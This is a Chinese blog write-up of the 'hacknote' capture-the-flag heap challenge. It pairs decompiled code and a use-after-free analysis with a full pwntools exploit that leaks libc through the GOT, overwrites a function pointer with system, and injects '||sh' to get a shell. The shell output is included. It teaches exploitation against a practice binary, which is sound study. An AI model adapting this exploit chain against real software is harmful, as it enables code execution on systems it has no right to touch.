XCTF-CHALLENGE-notehack

别的不说,看我一手E技能点Q点点,破败接点点,芜湖 起飞~~。

checksec

hunter@hunter:~/how2heap/my_heap/pwnable.tw hacknote$ checksec hacknote
[*] '/home/hunter/how2heap/my_heap/pwnable.tw hacknote/hacknote'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
只要没开启PIE就好说~
hunter@hunter:~/how2heap/my_heap/pwnable.tw hacknote$ ./hacknote 
----------------------
       HackNote       
----------------------
 1. Add note          
 2. Delete note       
 3. Print note        
 4. Exit              
----------------------
Your choice :

经典堆题

IDA–关键函数

unsigned int add()
{
  _DWORD *chunk_current; // ebx
  signed int i; // [esp+Ch] [ebp-1Ch]
  int size; // [esp+10h] [ebp-18h]
  char buf; // [esp+14h] [ebp-14h]
  unsigned int v5; // [esp+1Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  if ( note_cont <= 5 )
  {
    for ( i = 0; i <= 4; ++i )
    {
      if ( !note_ptr[i] )
      {
        note_ptr[i] = malloc(8u);
        if ( !note_ptr[i] )
        {
          puts("Alloca Error");
          exit(-1);
        }
        *note_ptr[i] = self_puts;
        printf("Note size :");
        read(0, &buf, 8u);
        size = atoi(&buf);
        chunk_current = note_ptr[i];
        chunk_current[1] = malloc(size);
        if ( !*(note_ptr[i] + 1) )
        {
          puts("Alloca Error");
          exit(-1);
        }
        printf("Content :");
        read(0, *(note_ptr[i] + 1), size);
        puts("Success !");
        ++note_cont;
        return __readgsdword(0x14u) ^ v5;
      }
    }
  }
  else
  {
    puts("Full");
  }
  return __readgsdword(0x14u) ^ v5;
}

unsigned int del()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf; // [esp+8h] [ebp-10h]
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, &buf, 4u);
  v1 = atoi(&buf);
  if ( v1 < 0 || v1 >= note_cont )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( note_ptr[v1] )
  {
    free(*(note_ptr[v1] + 1));
    free(note_ptr[v1]);
    puts("Success");
  }
  return __readgsdword(0x14u) ^ v3;
}

unsigned int show()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf; // [esp+8h] [ebp-10h]
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, &buf, 4u);
  v1 = atoi(&buf);
  if ( v1 < 0 || v1 >= note_cont )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( note_ptr[v1] )
    (*note_ptr[v1])(note_ptr[v1]);
  return __readgsdword(0x14u) ^ v3;
}

int __cdecl self_puts(int a1)
{
  return puts(*(a1 + 4));
}

Code Analysis

个人觉得经典堆题最重要的是要分析清楚其信息存放的数据结构,也就是着重分析add函数

unsigned int add()
{
  _DWORD *chunk_current; // ebx
  signed int i; // [esp+Ch] [ebp-1Ch]
  int size; // [esp+10h] [ebp-18h]
  char buf; // [esp+14h] [ebp-14h]
  unsigned int v5; // [esp+1Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  if ( note_cont <= 5 )   //note_cont全局变量,note的个数最多为5
  {
    for ( i = 0; i <= 4; ++i )
    {
      if ( !note_ptr[i] ) //note_ptr是全局指针数组,存放chunk的指针
      {
        note_ptr[i] = malloc(8u); //8个字节是32位下最小的chunk
        if ( !note_ptr[i] )
        {
          puts("Alloca Error");
          exit(-1);
        } //其实只要我们不会用到这些报错函数,完全可忽略
        *note_ptr[i] = self_puts; //解引用 指向chunk的指针,并放入信息
        printf("Note size :");
        read(0, &buf, 8u);
        size = atoi(&buf);
        chunk_current = note_ptr[i]; //chunk_current 存放当前操作的chunk的地址 即chunk_user_data_addr
        chunk_current[1] = malloc(size); //chunk_current[1]即chunk_user_data第二个字长 。
                                        //再次malloc size的空间其chunk_user_data_addr放入chunk_current[1]
        if ( !*(note_ptr[i] + 1) )  
        {                           
          puts("Alloca Error");
          exit(-1);
        }
        printf("Content :");
        read(0, *(note_ptr[i] + 1), size); //====>read(0, *((void **)note_ptr[i] + 1), size); 这里用ida简化了
        puts("Success !");               //将chunk地址转化为void**(二级指针) 类型指针 然后+1 再整体解引用 也就是获取了chunk_user_data第二个字长里面的信息
        ++note_cont;                     //即malloc(size)的地址
        return __readgsdword(0x14u) ^ v5;
      }
    }
  }
  else
  {
    puts("Full");
  }
  return __readgsdword(0x14u) ^ v5;
}

最好还是画出数据结构图:

再看看add的好兄弟,del函数

unsigned int del()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf; // [esp+8h] [ebp-10h]
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, &buf, 4u);
  v1 = atoi(&buf);
  if ( v1 < 0 || v1 >= note_cont )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( note_ptr[v1] )  //删除的目标是否空闲
  {
    free(*(note_ptr[v1] + 1));  //free掉content_chunk
    free(note_ptr[v1]);  //free掉第信息 chunk
    puts("Success");
  }
  return __readgsdword(0x14u) ^ v3;
}

将add函数中申请的两个chunk都释放,但是没有将指针置零,即指针还在指针数组note_ptr[i]中,这就出现了UFA漏洞。

纵身一跃来到show函数和他的好基友self_puts函数

unsigned int show()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf; // [esp+8h] [ebp-10h]
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, &buf, 4u);
  v1 = atoi(&buf);
  if ( v1 < 0 || v1 >= note_cont )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( note_ptr[v1] )
    (*note_ptr[v1])(note_ptr[v1]);  //在add函数中第一个chunk的第一个字段就存放了self_puts函数的地址,
                                    //结合self_puts函数分析可知这里是利用函数指针进行函数调用
  return __readgsdword(0x14u) ^ v3;
}

int __cdecl self_puts(int a1)
{
  return puts(*(a1 + 4));  //注意这个+4之后再整体解引用
}

如果正常执行这里将会输出第一个chunk的第二字段所指向的conten_chunk.

思路

  • 存在USF漏洞

  • 刚好在show函数会将第一个chunk里的第一字段视为函数指针进行解引用(高权限指针)

  • 先进行两次add 得到两个note 每一个note里面包含两个chunk第一个chunk大小为0x10 ,第二个chunk大小为0x18

  • del前两个note,再add一个note其chunk_1 大小为0x10,chunk_2大小为0x10,这样低权限指针就会和高权限指针指向同一个chunk

  • 没有system bin/sh 后门 所以要泄露地址===>利用note3往其第二个chunk中写入p32(self_puts)和p32(@got)然后执行show(0)即可泄露got表里面的内容

  • 得到libc版本,和libc地址后获取system bin/sh地址

  • del(2)再次add(3)这次将p32(system)和p32(/bin/sh)填入,再show(0)

    EXP

    from pwn import*
    from LibcSearcher import*
    context.log_level = 'debug'
    def add(size,content):
      sh.sendlineafter('Your choice :','1')
      sh.sendlineafter('Note size :',str(size))
      sh.sendlineafter('Content :',str(content))
    def dele(index):
      sh.sendlineafter('Your choice :','2')
      sh.sendlineafter('Index :',str(index))
    def show(index):
      sh.sendlineafter('Your choice :','3')
      sh.sendlineafter('Index :',str(index))
    def exit():
      sh.sendlineafter('Your choice :','4')
    sh = process('./hacknote')
    #sh = remote('220.249.52.133',51996)
    elf = ELF('./hacknote')
    #libc = ELF('libc_32.so.6')
    puts_got = elf.got['puts']
    add(16,'AAAA')
    add(16,'BBBB')
    dele(0)
    dele(1)
    add(8,p32(0x0804862B)+p32(puts_got))
    show(0)
    puts_addr = u32(sh.recv(4).ljust(4,'\x00'))
    libc = LibcSearcher('puts',puts_addr)
    libc_addr = puts_addr - libc.dump('puts')
    system_addr = libc_addr + libc.dump('system')
    bin_sh_addr = libc_addr + libc.dump('str_bin_sh')
    print hex(system_addr)
    print hex(bin_sh_addr)
    dele(2)
    add(8,p32(system_addr)+'||sh')
    #gdb.attach(sh)
    show(0)
    sh.interactive()

    然而最后add(8,p32(system_addr)+’||sh’)而不是add(8,p32(system_addr)+p32(bin_sh_addr)),我们回到self_puts函数和show函数

    unsigned int show()
    {
    int v1; // [esp+4h] [ebp-14h]
    char buf; // [esp+8h] [ebp-10h]
    unsigned int v3; // [esp+Ch] [ebp-Ch]
    
    v3 = __readgsdword(0x14u);
    printf("Index :");
    read(0, &buf, 4u);
    v1 = atoi(&buf);
    if ( v1 < 0 || v1 >= note_cont )
    {
      puts("Out of bound!");
      _exit(0);
    }
    if ( note_ptr[v1] )
      (*note_ptr[v1])(note_ptr[v1]);  //在add函数中第一个chunk的第一个字段就存放了self_puts函数的地址,
                                      //结合self_puts函数分析可知这里是利用函数指针进行函数调用
    return __readgsdword(0x14u) ^ v3;
    }
    int __cdecl self_puts(int a1)
    {
    return puts(*(a1 + 4));  //注意这个+4之后再整体解引用
    }

    第一次我们是self_puts放在chunk_data的第一字段,got放在第二字段这样会执行self_puts函数,而self_puts函数会对其传入的参数+4再解引用,就是第二字段,因此我们成功泄露地址
    但第二次我们是将system真实地址放入第一字段,第二字段即参数是note_ptr[v1]而这里放的是第一个chunk_data,所以如果我们add(8,p32(system_addr)+p32(bin_sh_addr)) 对应就是 (*system_addr)(system_addr+bin_sh_addr)
    这里放的是”||sh”====>(*system_addr)(system_addr+”||sh”)这样||前面的地址system无法作为参数,就会采用后面的sh作为参数

结果:

[*] Switching to interactive mode
[DEBUG] Received 0x17 bytes:
    00000000  73 68 3a 20  31 3a 20 10  8d d5 f7 3a  20 6e 6f 74  │sh:1: ·│···:│ not│
    00000010  20 66 6f 75  6e 64 0a                               │ fou│nd·│
    00000017
sh: 1: \x10��: not found
$ whoami
[DEBUG] Sent 0x7 bytes:
    'whoami\n'
[DEBUG] Received 0x7 bytes:
    'hunter\n'
hunter
$  

小结

堆利用对指针理解要求较高,所以一定要分析清楚数据结构,还有关键函数(显示信息,更改信息的函数等)对指针的使用


  转载请注明: Squarer XCTF-CHALLENGE-notehack

 上一篇
XCTF-CHALLENGE-supermarket XCTF-CHALLENGE-supermarket
realloc函数 void realloc(void *ptr, size_t size)语法指针名=(数据类型)realloc(要改变内存大小的指针名,新的大小)。新的大小可大可小(如果新的大小大于原内存大小,则新分配部分不会被初始化;
2020-09-14
下一篇 
XCTF-CHALLENGE-note-service2 XCTF-CHALLENGE-note-service2
checksechunter@hunter:~/PWN/XCTF/xctf_challenge$ checksec note-service2 [*] '/home/hunter/PWN/XCTF/xctf_challenge/note-s
2020-09-11
  目录